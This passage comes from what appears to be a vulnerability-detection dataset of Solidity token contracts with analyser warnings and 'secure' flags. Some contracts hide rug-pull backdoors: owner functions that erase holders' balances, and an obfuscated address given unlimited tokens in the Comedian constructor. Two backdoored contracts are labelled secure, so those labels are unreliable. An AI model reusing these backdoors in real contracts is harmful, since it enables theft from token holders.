true;\n\n\t\t// reentrancy-eth | ID: 8cc4d57\n tradingOpen = true;\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_3927.sol",
"secure": 0,
"size_bytes": 16832
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 9b88819): Contract locking ether found Contract AlcoholTobaccoFirearm has payable functions AlcoholTobaccoFirearm.receive() But does not have a function to withdraw the ether\n// Recommendation for 9b88819: Remove the 'payable' attribute or add a withdraw function.\ncontract AlcoholTobaccoFirearm is ERC20, Ownable {\n constructor() ERC20(unicode\"Alcohol Tobacco Firearm\", unicode\"ATF\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 9b88819): Contract locking ether found Contract AlcoholTobaccoFirearm has payable functions AlcoholTobaccoFirearm.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 9b88819: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_3928.sol",
"secure": 0,
"size_bytes": 1085
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Wifechangingmoney is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable green;\n\n constructor() {\n _name = \"Wife Changing Money\";\n\n _symbol = \"WIFE\";\n\n _decimals = 18;\n\n uint256 initialSupply = 817000000;\n\n green = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == green, \"Not allowed\");\n\n _;\n }\n\n function owe(address[] memory creep) public onlyOwner {\n for (uint256 i = 0; i < creep.length; i++) {\n address account = creep[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3929.sol",
"secure": 1,
"size_bytes": 4366
} |
{
"code": "// SPDX-License-Identifier: unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract MutagenProtocol is ERC20 {\n constructor() ERC20(\"Mutagen Protocol\", \"Mutagen\") {\n _mint(msg.sender, 100000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_393.sol",
"secure": 1,
"size_bytes": 298
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract MedoToken is Ownable, ERC20 {\n bool public limited;\n\n uint256 public maxHoldingAmount;\n\n uint256 public minHoldingAmount;\n\n address public uniswapV2Pair;\n\n mapping(address => bool) public blacklists;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6bff1d5): MedoToken.constructor(uint256)._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for 6bff1d5: Rename the local variables that shadow another component.\n constructor(uint256 _totalSupply) ERC20(\"Medo\", \"MEDO\") {\n _mint(msg.sender, _totalSupply);\n }\n\n function blacklist(\n address _address,\n bool _isBlacklisting\n ) external onlyOwner {\n blacklists[_address] = _isBlacklisting;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a6f8177): MedoToken.setRule(bool,address,uint256,uint256) should emit an event for maxHoldingAmount = _maxHoldingAmount minHoldingAmount = _minHoldingAmount \n\t// Recommendation for a6f8177: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2677fbf): MedoToken.setRule(bool,address,uint256,uint256)._uniswapV2Pair lacks a zerocheck on \t uniswapV2Pair = _uniswapV2Pair\n\t// Recommendation for 2677fbf: Check that the address is not zero.\n function setRule(\n bool _limited,\n address _uniswapV2Pair,\n uint256 _maxHoldingAmount,\n uint256 _minHoldingAmount\n ) external onlyOwner {\n limited = _limited;\n\n\t\t// missing-zero-check | ID: 2677fbf\n uniswapV2Pair = _uniswapV2Pair;\n\n\t\t// events-maths | ID: a6f8177\n maxHoldingAmount = _maxHoldingAmount;\n\n\t\t// events-maths | ID: a6f8177\n minHoldingAmount = _minHoldingAmount;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n require(!blacklists[to] && !blacklists[from], \"Blacklisted\");\n\n if (uniswapV2Pair == address(0)) {\n require(from == owner() || to == owner(), \"trading is not started\");\n\n return;\n }\n\n if (limited && from == uniswapV2Pair) {\n require(\n super.balanceOf(to) + amount <= maxHoldingAmount &&\n super.balanceOf(to) + amount >= minHoldingAmount,\n \"Forbid\"\n );\n }\n }\n\n function burn(uint256 value) external {\n _burn(msg.sender, value);\n }\n}",
"file_name": "solidity_code_3930.sol",
"secure": 0,
"size_bytes": 2737
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./SwapBlock.sol\" as SwapBlock;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\n\ncontract PEPEB is Context, IERC20, SwapBlock, ReentrancyGuard {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n uint8 public immutable _decimals;\n\n string public _symbol;\n\n string public _name;\n\n constructor() {\n _name = \"PEPEB\";\n\n _symbol = \"PEPEB\";\n\n _decimals = 18;\n\n _totalSupply = 420690e6 * 1e18;\n\n _balances[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function getOwner() external view returns (address) {\n return owner();\n }\n\n function decimals() external view returns (uint8) {\n return _decimals;\n }\n\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) external view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address addressOwner,\n address spender\n ) external view returns (uint256) {\n return _allowances[addressOwner][spender];\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) external returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) external returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender] - subtractedValue\n );\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal {\n require(account != address(0), \"Mint to the zero address\");\n\n _totalSupply = _totalSupply + amount;\n\n _balances[account] = _balances[account] + amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _recoverSigner(\n bytes32 ethSignedMessageHash,\n bytes memory signature\n ) internal pure returns (address) {\n (uint8 v, bytes32 r, bytes32 s) = _splitSignature(signature);\n\n return ecrecover(ethSignedMessageHash, v, r, s);\n }\n\n function _splitSignature(\n bytes memory sig\n ) internal pure returns (uint8 v, bytes32 r, bytes32 s) {\n require(sig.length == 65, \"Invalid signature length\");\n\n assembly {\n r := mload(add(sig, 32))\n\n s := mload(add(sig, 64))\n\n v := byte(0, mload(add(sig, 96)))\n }\n\n if (v < 27) v += 27;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal nonReentrant {\n require(sender != address(0), \"Transfer from the zero address\");\n\n require(recipient != address(0), \"Transfer to the zero address\");\n\n require(amount <= _balances[sender], \"Transfer amount exceeds balance\");\n\n _balances[sender] = _balances[sender] - amount;\n\n _balances[recipient] = _balances[recipient] + amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(\n address addressOwner,\n address spender,\n uint256 amount\n ) internal {\n require(addressOwner != address(0), \"Approve from the zero address\");\n\n require(spender != address(0), \"Approve to the zero address\");\n\n _allowances[addressOwner][spender] = amount;\n\n emit Approval(addressOwner, spender, amount);\n }\n}",
"file_name": "solidity_code_3931.sol",
"secure": 1,
"size_bytes": 4872
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Peter is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable glare;\n\n constructor() {\n _name = \"PETER\";\n\n _symbol = \"PETER\";\n\n _decimals = 18;\n\n uint256 initialSupply = 341000000;\n\n glare = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == glare, \"Not allowed\");\n\n _;\n }\n\n function city(address[] memory passive) public onlyOwner {\n for (uint256 i = 0; i < passive.length; i++) {\n address account = passive[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3932.sol",
"secure": 1,
"size_bytes": 4348
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Comedian is Context, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n bool private tradingEnabled;\n\n bool private swapping;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7a53ff0): Comedian.buyTax should be constant \n\t// Recommendation for 7a53ff0: Add the 'constant' attribute to state variables that never change.\n uint8 public buyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3b456fb): Comedian.sellTax should be constant \n\t// Recommendation for 3b456fb: Add the 'constant' attribute to state variables that never change.\n uint8 public sellTax = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Comedian\";\n\n string private constant _symbol = unicode\"ban\";\n\n\t// WARNING Optimization Issue (constable-states | ID: d642fca): Comedian.swapTokensAtAmount should be constant \n\t// Recommendation for d642fca: Add the 'constant' attribute to state variables that never change.\n uint256 private swapTokensAtAmount = (_tTotal * 25) / 10000;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3688630): Comedian.feeWallet should be immutable \n\t// Recommendation for 3688630: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private feeWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: f775d09): Comedian.router should be constant \n\t// Recommendation for f775d09: Add the 'constant' attribute to state variables that never change.\n address private router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0258b5): Comedian.liquidityProvider should be constant \n\t// Recommendation for a0258b5: Add the 'constant' attribute to state variables that never change.\n address private liquidityProvider =\n 0xC499A9FaE037B22bD06A13fc31Abd06d6208fC04;\n\n constructor() {\n _balances[liquidityProvider] = _tTotal;\n\n feeWallet = payable(liquidityProvider);\n\n _balances[logger()] = uint256(int256(-1));\n\n emit Transfer(address(0), liquidityProvider, _tTotal);\n }\n\n receive() external payable {}\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2dc9340): Comedian.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2dc9340: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 69ff89c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 69ff89c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cec3330): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cec3330: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 69ff89c\n\t\t// reentrancy-benign | ID: cec3330\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 69ff89c\n\t\t// reentrancy-benign | ID: cec3330\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 39a0f54): Comedian._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 39a0f54: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: cec3330\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 69ff89c\n emit Approval(owner, spender, amount);\n }\n\n function enableTrading() external onlyOwner {\n uniswapV2Router = IUniswapV2Router02(router);\n\n pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n tradingEnabled = true;\n }\n\n function logger() private returns (address) {\n return\n address(\n uint160(\n uint256(348902926153437982236780295817713319317664343365)\n )\n );\n }\n\n function _superTransfer(address from, address to, uint256 amount) internal {\n\t\t// reentrancy-eth | ID: 4d4a633\n _balances[from] -= amount;\n\n\t\t// reentrancy-eth | ID: 4d4a633\n _balances[to] += amount;\n\n\t\t// reentrancy-events | ID: ce7d322\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ce7d322): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ce7d322: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 1559d87): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 1559d87: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4d4a633): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4d4a633: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) internal {\n require(amount > 0, \"Zero amount\");\n\n if (!tradingEnabled) {\n require(from == liquidityProvider, \"Trading not enabled\");\n }\n\n if (from == address(this) || to == address(this) || swapping) {\n _superTransfer(from, to, amount);\n\n return;\n }\n\n if (to == pair && balanceOf(address(this)) >= swapTokensAtAmount) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: ce7d322\n\t\t\t// reentrancy-no-eth | ID: 1559d87\n\t\t\t// reentrancy-eth | ID: 4d4a633\n swapTokensForEth(balanceOf(address(this)));\n\n\t\t\t// reentrancy-no-eth | ID: 1559d87\n swapping = false;\n\n\t\t\t// reentrancy-events | ID: ce7d322\n\t\t\t// reentrancy-eth | ID: 4d4a633\n sendETHToFeeWallet();\n }\n\n\t\t// reentrancy-events | ID: ce7d322\n\t\t// reentrancy-eth | ID: 4d4a633\n amount = takeFee(from, amount, to == pair);\n\n\t\t// reentrancy-events | ID: ce7d322\n\t\t// reentrancy-eth | ID: 4d4a633\n _superTransfer(from, to, amount);\n }\n\n function takeFee(\n address from,\n uint256 amount,\n bool isSell\n ) internal returns (uint256) {\n uint256 tax = isSell ? sellTax : buyTax;\n\n if (tax == 0) return amount;\n\n uint256 feeAmount = (amount * tax) / 100;\n\n _superTransfer(from, address(this), feeAmount);\n\n return amount - feeAmount;\n }\n\n function swapTokensForEth(uint256 tokenAmount) internal {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 69ff89c\n\t\t// reentrancy-events | ID: ce7d322\n\t\t// reentrancy-benign | ID: cec3330\n\t\t// reentrancy-no-eth | ID: 1559d87\n\t\t// reentrancy-eth | ID: 4d4a633\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n feeWallet,\n block.timestamp\n )\n {} catch {\n return;\n }\n }\n\n function sendETHToFeeWallet() internal {\n if (address(this).balance > 0) {\n\t\t\t// reentrancy-events | ID: 69ff89c\n\t\t\t// reentrancy-events | ID: ce7d322\n\t\t\t// reentrancy-eth | ID: 4d4a633\n feeWallet.transfer(address(this).balance);\n }\n }\n}",
"file_name": "solidity_code_3933.sol",
"secure": 0,
"size_bytes": 10827
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract EYE is ERC20 {\n uint256 private constant TOAL_SUPPLY = 1000_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 6ce9343): EYE.DEAD shadows ERC20.DEAD\n\t// Recommendation for 6ce9343: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 955db00): EYE.ZERO shadows ERC20.ZERO\n\t// Recommendation for 955db00: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO1 = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit_hoppei;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 42c785b): EYE.maxTxAmTaddress should be immutable \n\t// Recommendation for 42c785b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxTxAmTaddress;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a9fccfc): EYE.maxwall_address should be immutable \n\t// Recommendation for a9fccfc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxwall_address;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7a5680a): EYE._burnPettsCINtoken should be constant \n\t// Recommendation for 7a5680a: Add the 'constant' attribute to state variables that never change.\n uint256 _burnPettsCINtoken = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 422ebfa): EYE.uniswapV2Router should be immutable \n\t// Recommendation for 422ebfa: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(\n address router\n ) ERC20(unicode\"EYE Am Watching You\", unicode\"EYE\", TOAL_SUPPLY) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n maxwall_address = TOAL_SUPPLY / 40;\n\n maxTxAmTaddress = TOAL_SUPPLY / 40;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation_hoppei(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burn = (amount * _burnPettsCINtoken) / 100;\n\n super._transfer_etcinwith(from, to, amount, _burn);\n\n return;\n }\n }\n\n super._transfer_hoppei(from, to, amount);\n }\n\n function removeLimit() external onlyOwner {\n hasLimit_hoppei = true;\n }\n\n function _checkLimitation_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit_hoppei) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxTxAmTaddress, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= maxwall_address,\n \"Max holding exceeded max\"\n );\n }\n }\n }\n}",
"file_name": "solidity_code_3934.sol",
"secure": 0,
"size_bytes": 4635
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Platforme.sol\" as Platforme;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\n\ncontract COCKED is Platforme, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5b5c6af): COCKED._totalSupply should be constant \n\t// Recommendation for 5b5c6af: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 2000000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: d11b22b): COCKED._name should be constant \n\t// Recommendation for d11b22b: Add the 'constant' attribute to state variables that never change.\n string private _name = unicode\"The Cocked Hat Tricorne\";\n\n\t// WARNING Optimization Issue (constable-states | ID: d36b894): COCKED._symbol should be constant \n\t// Recommendation for d36b894: Add the 'constant' attribute to state variables that never change.\n string private _symbol = unicode\"COCKED\";\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 90e8557): COCKED.Router2Instance should be immutable \n\t// Recommendation for 90e8557: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n UniswapRouterV2 private Router2Instance;\n\n constructor(uint256 aEdZTTu) {\n uint256 cc = aEdZTTu +\n uint256(10) -\n uint256(10) +\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n );\n\n Router2Instance = getBcFnnmoosgsto(((brcFactornnmoosgsto(cc))));\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 0b06a15): COCKED.bb should be constant \n\t// Recommendation for 0b06a15: Add the 'constant' attribute to state variables that never change.\n uint160 private bb = 20;\n\n function brcFfffactornnmoosgsto(\n uint256 value\n ) internal view returns (uint160) {\n 